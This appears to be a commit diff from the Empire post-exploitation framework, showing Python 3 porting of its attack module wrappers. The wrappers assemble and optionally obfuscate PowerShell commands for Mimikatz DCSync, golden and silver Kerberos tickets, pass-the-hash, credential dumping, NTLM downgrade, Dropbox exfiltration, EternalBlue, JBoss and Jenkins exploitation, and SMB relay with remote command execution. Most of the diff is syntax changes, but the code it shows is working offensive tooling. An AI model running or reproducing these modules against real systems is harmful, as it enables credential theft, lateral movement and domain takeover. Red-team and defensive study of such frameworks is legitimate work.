35 'downgrade NetNTLM responses to v1, impersonate all users, '
36 'use challenge 1122334455667788 and restore the registry '
37 'to its original state. Set the options in this module to '
38 'True in order to DISABLE the behaviours\n'
39 'Disabling Downgrade and Impersonation yields higher OPSEC, '
40 'but less than ideal loot'
41 ]
42 }
43
44 self.options = {
45 'Agent': {
46 'Description': 'Agent to use for InternalMonologue',
47 'Required' : True,
48 'Value' : ''
49 },
50 'Challenge': {
51 'Description': 'Net-NTLM Challenge to send',
52 'Required' : True,
53 'Value' : '1122334455667788'
54 },
55 'Downgrade': {
56 'Description': 'DISABLE downgrading to allow Net-NTLMv1 responses',
57 'Required' : False,
58 'Value' : ''
59 },
60 'Impersonate': {
61 'Description': 'DISABLE user impersonation and fetch only current user',
62 'Required' : False,
63 'Value' : ''
64 },
65 'Restore': {
66 'Description': 'DISABLE restoring the registry setting that allowed v1 responses',
67 'Required' : False,
68 'Value' : ''
69 },
70 'Verbose': {
71 'Description': 'Verbose',
72 'Required' : False,
73 'Value' : ''
74 }
75 }
76
77 self.mainMenu = mainMenu
78
79 # During instantiation, any settable option parameters are passed as
80 # an object set to the module and the options dictionary is
81 # automatically set. This is mostly in case options are passed on
82 # the command line.
83 if params:
84 for param in params:
85 # Parameter format is [Name, Value]
86 option, value = param
87 if option in self.options:
88 self.options[option]['Value'] = value
89
90
91 def generate(self, obfuscate=False, obfuscationCommand=""):
92
93 modPath = "/data/module_source/credentials/Invoke-InternalMonologue.ps1"
94 moduleSource = self.mainMenu.installPath + modPath
95 if obfuscate:
96 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
97 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
98 try:
99 f = open(moduleSource, 'r')
100 except:
101 print (helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
102 return ""
103
104 moduleCode = f.read()
105 f.close()
106 script = moduleCode
107 scriptEnd = "Invoke-InternalMonologue "
108
109 # Add any arguments to the end execution of the script
110 for option, values in self.options.items():
111 if option.lower() != "agent":
112 if values['Value'] and values['Value'] != '':
113 if values['Value'].lower() == "true":
114 # if we're just adding a switch
115 scriptEnd += " -" + str(option)
116 else:
117 scriptEnd += " -" + str(option) + " " + str(values['Value'])
118 if obfuscate:
119 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
120 script += scriptEnd
121 return script
+6
-3
lib/modules/powershell/credentials/invoke_kerberoast.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
103106 try:
104107 f = open(moduleSource, 'r')
105108 except:
106 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
109 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
107110 return ""
108111
109112 moduleCode = f.read()
112115 script = moduleCode
113116 scriptEnd = "\nInvoke-Kerberoast "
114117
115 for option,values in self.options.iteritems():
118 for option,values in self.options.items():
116119 if option.lower() != "agent":
117120 if values['Value'] and values['Value'] != '':
118121 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/credentials/mimikatz/cache.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6265 try:
6366 f = open(moduleSource, 'r')
6467 except:
65 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
68 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6669 return ""
6770
6871 moduleCode = f.read()
+5
-2
lib/modules/powershell/credentials/mimikatz/certs.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
+5
-2
lib/modules/powershell/credentials/mimikatz/command.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6669 try:
6770 f = open(moduleSource, 'r')
6871 except:
69 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
72 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7073 return ""
7174
7275 moduleCode = f.read()
+48
-44
lib/modules/powershell/credentials/mimikatz/dcsync.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
35
6 class Module(object):
7
48 def __init__(self, mainMenu, params=[]):
5
9
610 self.info = {
711 'Name': 'Invoke-Mimikatz DCsync',
8
12
913 'Author': ['@gentilkiwi', 'Vincent Le Toux', '@JosephBialek'],
10
14
1115 'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
1216 "to extract a given account password through "
1317 "Mimikatz's lsadump::dcsync module. This doesn't "
1418 "need code execution on a given DC, but needs to be "
1519 "run from a user context with DA equivalent privileges."),
16
17 'Background' : True,
18
19 'OutputExtension' : None,
2020
21 'NeedsAdmin' : False,
22
23 'OpsecSafe' : True,
24
25 'Language' : 'powershell',
26
27 'MinLanguageVersion' : '2',
21 'Background': True,
22
23 'OutputExtension': None,
24
25 'NeedsAdmin': False,
26
27 'OpsecSafe': True,
28
29 'Language': 'powershell',
30
31 'MinLanguageVersion': '2',
2832
2933 'Comments': [
3034 'http://blog.gentilkiwi.com',
3135 'http://clymb3r.wordpress.com/'
3236 ]
3337 }
34
38
3539 # any options needed by the module, settable during runtime
3640 self.options = {
3741 # format:
3842 # value_name : {description, required, default_value}
39 'Agent' : {
40 'Description' : 'Agent to run module on.',
41 'Required' : True,
42 'Value' : ''
43 'Agent': {
44 'Description': 'Agent to run module on.',
45 'Required': True,
46 'Value': ''
4347 },
44 'user' : {
45 'Description' : 'Username to extract the hash for (domain\username format).',
46 'Required' : True,
47 'Value' : ''
48 'user': {
49 'Description': r'Username to extract the hash for (domain\username format).',
50 'Required': True,
51 'Value': ''
4852 },
49 'domain' : {
50 'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
51 'Required' : False,
52 'Value' : ''
53 'domain': {
54 'Description': 'Specified (fqdn) domain to pull for the primary domain/DC.',
55 'Required': False,
56 'Value': ''
5357 },
54 'dc' : {
55 'Description' : 'Specified (fqdn) domain controller to pull replication data from.',
56 'Required' : False,
57 'Value' : ''
58 'dc': {
59 'Description': 'Specified (fqdn) domain controller to pull replication data from.',
60 'Required': False,
61 'Value': ''
5862 }
5963 }
60
64
6165 # save off a copy of the mainMenu object to access external functionality
6266 # like listeners/agent handlers/etc.
6367 self.mainMenu = mainMenu
6771 option, value = param
6872 if option in self.options:
6973 self.options[option]['Value'] = value
70
71
74
7275 def generate(self, obfuscate=False, obfuscationCommand=""):
7376
7477 # read in the common module source code
7982 try:
8083 f = open(moduleSource, 'r')
8184 except:
82 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
85 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8386 return ""
84
87
8588 moduleCode = f.read()
8689 f.close()
87
90
8891 script = moduleCode
89
92
9093 scriptEnd = "Invoke-Mimikatz -Command "
91
94
9295 scriptEnd += "'\"lsadump::dcsync /user:" + self.options['user']['Value']
93
96
9497 if self.options["domain"]['Value'] != "":
9598 scriptEnd += " /domain:" + self.options['domain']['Value']
96
99
97100 if self.options["dc"]['Value'] != "":
98101 scriptEnd += " /dc:" + self.options['dc']['Value']
99
102
100103 scriptEnd += "\"';"
101104 if obfuscate:
102 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
105 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
106 obfuscationCommand=obfuscationCommand)
103107 script += scriptEnd
104108 return script
+5
-2
lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
+5
-2
lib/modules/powershell/credentials/mimikatz/extract_tickets.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
+9
-6
lib/modules/powershell/credentials/mimikatz/golden_ticket.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
107110 try:
108111 f = open(moduleSource, 'r')
109112 except:
110 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
113 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
111114 return ""
112115
113116 moduleCode = f.read()
120123 if credID != "":
121124
122125 if not self.mainMenu.credentials.is_credential_valid(credID):
123 print helpers.color("[!] CredID is invalid!")
126 print(helpers.color("[!] CredID is invalid!"))
124127 return ""
125128
126129 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
127130 if userName != "krbtgt":
128 print helpers.color("[!] A krbtgt account must be used")
131 print(helpers.color("[!] A krbtgt account must be used"))
129132 return ""
130133
131134 if domainName != "":
137140
138141
139142 if self.options["krbtgt"]['Value'] == "":
140 print helpers.color("[!] krbtgt hash not specified")
143 print(helpers.color("[!] krbtgt hash not specified"))
141144
142145 # build the golden ticket command
143146 scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden"
144147
145 for option,values in self.options.iteritems():
148 for option,values in self.options.items():
146149 if option.lower() != "agent" and option.lower() != "credid":
147150 if values['Value'] and values['Value'] != '':
148151 scriptEnd += " /" + str(option) + ":" + str(values['Value'])
+5
-2
lib/modules/powershell/credentials/mimikatz/keys.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
+6
-3
lib/modules/powershell/credentials/mimikatz/logonpasswords.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
7275 # build the dump command with whatever options we want
7376 scriptEnd = "Invoke-Mimikatz -DumpCreds;"
7477
75 for option,values in self.options.iteritems():
78 for option,values in self.options.items():
7679 if option.lower() != "agent":
7780 if values['Value'] and values['Value'] != '':
7881 scriptEnd += " -" + str(option) + " " + str(values['Value'])
+5
-2
lib/modules/powershell/credentials/mimikatz/lsadump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6871 try:
6972 f = open(moduleSource, 'r')
7073 except:
71 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
74 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7275 return ""
7376
7477 moduleCode = f.read()
+6
-3
lib/modules/powershell/credentials/mimikatz/mimitokens.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9699 try:
97100 f = open(moduleSource, 'r')
98101 except:
99 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
102 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
100103 return ""
101104
102105 moduleCode = f.read()
122125 elif elevate.lower() == "true":
123126 scriptEnd += "'\"token::elevate"
124127 else:
125 print helpers.color("[!] list, elevate, or revert must be specified!")
128 print(helpers.color("[!] list, elevate, or revert must be specified!"))
126129 return ""
127130
128131 if domainadmin.lower() == "true":
+8
-5
lib/modules/powershell/credentials/mimikatz/pth.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
97100 if credID != "":
98101
99102 if not self.mainMenu.credentials.is_credential_valid(credID):
100 print helpers.color("[!] CredID is invalid!")
103 print(helpers.color("[!] CredID is invalid!"))
101104 return ""
102105
103106 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
104107 if credType != "hash":
105 print helpers.color("[!] An NTLM hash must be used!")
108 print(helpers.color("[!] An NTLM hash must be used!"))
106109 return ""
107110
108111 if userName != "":
113116 self.options["ntlm"]['Value'] = password
114117
115118 if self.options["ntlm"]['Value'] == "":
116 print helpers.color("[!] ntlm hash not specified")
119 print(helpers.color("[!] ntlm hash not specified"))
117120
118121 # build the custom command with whatever options we want
119122 command = "sekurlsa::pth /user:"+self.options["user"]['Value']
+5
-2
lib/modules/powershell/credentials/mimikatz/purge.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6265 try:
6366 f = open(moduleSource, 'r')
6467 except:
65 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
68 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6669 return ""
6770
6871 moduleCode = f.read()
+5
-2
lib/modules/powershell/credentials/mimikatz/sam.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6366 try:
6467 f = open(moduleSource, 'r')
6568 except:
66 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
69 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6770 return ""
6871
6972 moduleCode = f.read()
+11
-8
lib/modules/powershell/credentials/mimikatz/silver_ticket.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
107110 try:
108111 f = open(moduleSource, 'r')
109112 except:
110 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
113 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
111114 return ""
112115
113116 moduleCode = f.read()
120123 if credID != "":
121124
122125 if not self.mainMenu.credentials.is_credential_valid(credID):
123 print helpers.color("[!] CredID is invalid!")
126 print(helpers.color("[!] CredID is invalid!"))
124127 return ""
125128
126129 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
127130
128131 if not userName.endswith("$"):
129 print helpers.color("[!] please specify a machine account credential")
132 print(helpers.color("[!] please specify a machine account credential"))
130133 return ""
131134 if domainName != "":
132135 self.options["domain"]['Value'] = domainName
140143
141144 # error checking
142145 if not helpers.validate_ntlm(self.options["rc4"]['Value']):
143 print helpers.color("[!] rc4/NTLM hash not specified")
146 print(helpers.color("[!] rc4/NTLM hash not specified"))
144147 return ""
145148
146149 if self.options["target"]['Value'] == "":
147 print helpers.color("[!] target not specified")
150 print(helpers.color("[!] target not specified"))
148151 return ""
149152
150153 if self.options["sid"]['Value'] == "":
151 print helpers.color("[!] domain SID not specified")
154 print(helpers.color("[!] domain SID not specified"))
152155 return ""
153156
154157 # build the golden ticket command
155158 scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden"
156159
157 for option,values in self.options.iteritems():
160 for option,values in self.options.items():
158161 if option.lower() != "agent" and option.lower() != "credid":
159162 if values['Value'] and values['Value'] != '':
160163 scriptEnd += " /" + str(option) + ":" + str(values['Value'])
+5
-2
lib/modules/powershell/credentials/mimikatz/trust_keys.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6669 try:
6770 f = open(moduleSource, 'r')
6871 except:
69 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
72 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7073 return ""
7174
7275 moduleCode = f.read()
+5
-2
lib/modules/powershell/credentials/powerdump.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5962 try:
6063 f = open(moduleSource, 'r')
6164 except:
62 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
65 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6366 return ""
6467
6568 moduleCode = f.read()
+6
-3
lib/modules/powershell/credentials/sessiongopher.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
116119 try:
117120 f = open(moduleSource, 'r')
118121 except:
119 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
122 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
120123 return ""
121124
122125 moduleCode = f.read()
126129 scriptEnd = "Invoke-SessionGopher"
127130
128131 # add any arguments to the end execution of the script
129 for option,values in self.options.iteritems():
132 for option,values in self.options.items():
130133 if option.lower() != "agent":
131134 if values['Value'] and values['Value'] != '':
132135 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/credentials/tokens.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
119122 try:
120123 f = open(moduleSource, 'r')
121124 except:
122 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
125 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
123126 return ""
124127
125128 moduleCode = f.read()
137140 scriptEnd += " -ShowAll | Out-String"
138141 else:
139142
140 for option,values in self.options.iteritems():
143 for option,values in self.options.items():
141144 if option.lower() != "agent":
142145 if values['Value'] and values['Value'] != '':
143146 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/credentials/vault_credential.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
+6
-3
lib/modules/powershell/exfiltration/egresscheck.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
97100 try:
98101 f = open(moduleSource, 'r')
99102 except:
100 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
103 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
101104 return ""
102105
103106 moduleCode = f.read()
109112 scriptEnd = 'Invoke-EgressCheck'
110113
111114 # add any arguments to the end execution of the script
112 for option,values in self.options.iteritems():
115 for option,values in self.options.items():
113116 if option.lower() != "agent":
114117 if values['Value'] and values['Value'] != '':
115118 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/exfiltration/exfil_dropbox.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
128130 Invoke-DropboxUpload """
129131
130132 # Add any arguments to the end execution of the script
131 for option, values in self.options.iteritems():
133 for option, values in self.options.items():
132134 if option.lower() != "agent":
133135 if values['Value'] and values['Value'] != '':
134136 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/exploitation/exploit_eternalblue.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import re
14 from lib.common import helpers
25 import pdb
36
47
5 class Module:
8 class Module(object):
69 def __init__(self, mainMenu, params=[]):
710
811 self.info = {
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
9497
9598 script += "\nInvoke-EternalBlue "
9699
97 for option, values in self.options.iteritems():
100 for option, values in self.options.items():
98101 if values['Value'] and values['Value'] != '':
99102 if option.lower() == "shellcode":
100103 # transform the shellcode to the correct format
+6
-3
lib/modules/powershell/exploitation/exploit_jboss.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
9093 try:
9194 f = open(moduleSource, 'r')
9295 except:
93 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
96 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9497 return ""
9598
9699 moduleCode = f.read()
100103
101104 scriptEnd = "\nExploit-JBoss"
102105
103 for option,values in self.options.iteritems():
106 for option,values in self.options.items():
104107 if option.lower() != "agent" and option.lower() != "showall":
105108 if values['Value'] and values['Value'] != '':
106109 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/exploitation/exploit_jenkins.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
7578 try:
7679 f = open(moduleSource, 'r')
7780 except:
78 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
81 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7982 return ""
8083
8184 moduleCode = f.read()
+140
-134
lib/modules/powershell/lateral_movement/inveigh_relay.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
35
6 class Module(object):
7
48 def __init__(self, mainMenu, params=[]):
5
9
610 self.info = {
711 'Name': 'Invoke-InveighRelay',
8
12
913 'Author': ['Kevin Robertson'],
10
11 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming '
12 'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the '
13 'authentication is successfully relayed and the account has the correct '
14 'privilege, a specified command or Empire launcher will be executed on the '
15 'target PSExec style. This module works best while also running collection/inveigh '
16 'with HTTP disabled. Note that this module exposes only a subset of Inveigh '
17 'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport '
18 'and scriptcmd if additional parameters are needed.'),
19
20 'Background' : True,
21
22 'OutputExtension' : None,
23
24 'NeedsAdmin' : False,
25
26 'OpsecSafe' : False,
27
28 'Language' : 'powershell',
29
30 'MinLanguageVersion' : '2',
31
14
15 'Description': (r'Inveigh\'s SMB relay function. This module can be used to relay incoming '
16 r'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the '
17 r'authentication is successfully relayed and the account has the correct '
18 r'privilege, a specified command or Empire launcher will be executed on the '
19 r'target PSExec style. This module works best while also running collection/inveigh '
20 r'with HTTP disabled. Note that this module exposes only a subset of Inveigh '
21 r'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport '
22 r'and scriptcmd if additional parameters are needed.'),
23
24 'Background': True,
25
26 'OutputExtension': None,
27
28 'NeedsAdmin': False,
29
30 'OpsecSafe': False,
31
32 'Language': 'powershell',
33
34 'MinLanguageVersion': '2',
35
3236 'Comments': [
3337 'https://github.com/Kevin-Robertson/Inveigh'
3438 ]
3539 }
36
40
3741 # any options needed by the module, settable during runtime
3842 self.options = {
3943 # format:
4044 # value_name : {description, required, default_value}
41 'Agent' : {
42 'Description' : 'Agent to run module on.',
43 'Required' : True,
44 'Value' : ''
45 },
46 'Listener' : {
47 'Description' : 'Listener to use.',
48 'Required' : False,
49 'Value' : ''
50 },
51 'UserAgent' : {
52 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
53 'Required' : False,
54 'Value' : 'default'
55 },
56 'Proxy_' : {
57 'Description' : 'Proxy to use for request (default, none, or other).',
58 'Required' : False,
59 'Value' : 'default'
60 },
61 'ProxyCreds' : {
62 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
63 'Required' : False,
64 'Value' : 'default'
65 },
66 'Command' : {
67 'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.',
68 'Required' : False,
69 'Value' : ''
70 },
71 'ConsoleOutput' : {
72 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
73 'Required' : False,
74 'Value' : ''
75 },
76 'ConsoleStatus' : {
77 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
78 'Required' : False,
79 'Value' : ''
80 },
81 'ConsoleUnique' : {
82 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
83 'Required' : False,
84 'Value' : ''
85 },
86 'HTTP' : {
87 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.',
88 'Required' : False,
89 'Value' : ''
90 },
91 'Proxy' : {
92 'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.',
93 'Required' : False,
94 'Value' : ''
95 },
96 'ProxyPort' : {
97 'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.',
98 'Required' : False,
99 'Value' : ''
100 },
101 'RunTime' : {
102 'Description' : 'Run time duration in minutes.',
103 'Required' : True,
104 'Value' : ''
105 },
106 'Service' : {
107 'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.',
108 'Required' : False,
109 'Value' : ''
110 },
111 'SMB1' : {
112 'Description' : '(Switch) Force SMB1.',
113 'Required' : False,
114 'Value' : ''
115 },
116 'Target' : {
117 'Description' : 'IP address or hostname of system to target for relay.',
118 'Required' : True,
119 'Value' : ''
120 },
121 'Usernames' : {
122 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
123 'Required' : False,
124 'Value' : ''
125 },
126 'WPADAuth' : {
127 'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.',
128 'Required' : False,
129 'Value' : ''
45 'Agent': {
46 'Description': 'Agent to run module on.',
47 'Required': True,
48 'Value': ''
49 },
50 'Listener': {
51 'Description': 'Listener to use.',
52 'Required': False,
53 'Value': ''
54 },
55 'UserAgent': {
56 'Description': 'User-agent string to use for the staging request (default, none, or other).',
57 'Required': False,
58 'Value': 'default'
59 },
60 'Proxy_': {
61 'Description': 'Proxy to use for request (default, none, or other).',
62 'Required': False,
63 'Value': 'default'
64 },
65 'ProxyCreds': {
66 'Description': r'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
67 'Required': False,
68 'Value': 'default'
69 },
70 'Command': {
71 'Description': 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.',
72 'Required': False,
73 'Value': ''
74 },
75 'ConsoleOutput': {
76 'Description': '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
77 'Required': False,
78 'Value': ''
79 },
80 'ConsoleStatus': {
81 'Description': 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
82 'Required': False,
83 'Value': ''
84 },
85 'ConsoleUnique': {
86 'Description': '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
87 'Required': False,
88 'Value': ''
89 },
90 'HTTP': {
91 'Description': '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.',
92 'Required': False,
93 'Value': ''
94 },
95 'Proxy': {
96 'Description': r'(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.',
97 'Required': False,
98 'Value': ''
99 },
100 'ProxyPort': {
101 'Description': r'Default = 8492: TCP port for Inveigh\'s proxy listener.',
102 'Required': False,
103 'Value': ''
104 },
105 'RunTime': {
106 'Description': 'Run time duration in minutes.',
107 'Required': True,
108 'Value': ''
109 },
110 'Service': {
111 'Description': 'Default = 20 character random: Name of the service to create and delete on the target.',
112 'Required': False,
113 'Value': ''
114 },
115 'SMB1': {
116 'Description': '(Switch) Force SMB1.',
117 'Required': False,
118 'Value': ''
119 },
120 'Target': {
121 'Description': 'IP address or hostname of system to target for relay.',
122 'Required': True,
123 'Value': ''
124 },
125 'Usernames': {
126 'Description': r'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
127 'Required': False,
128 'Value': ''
129 },
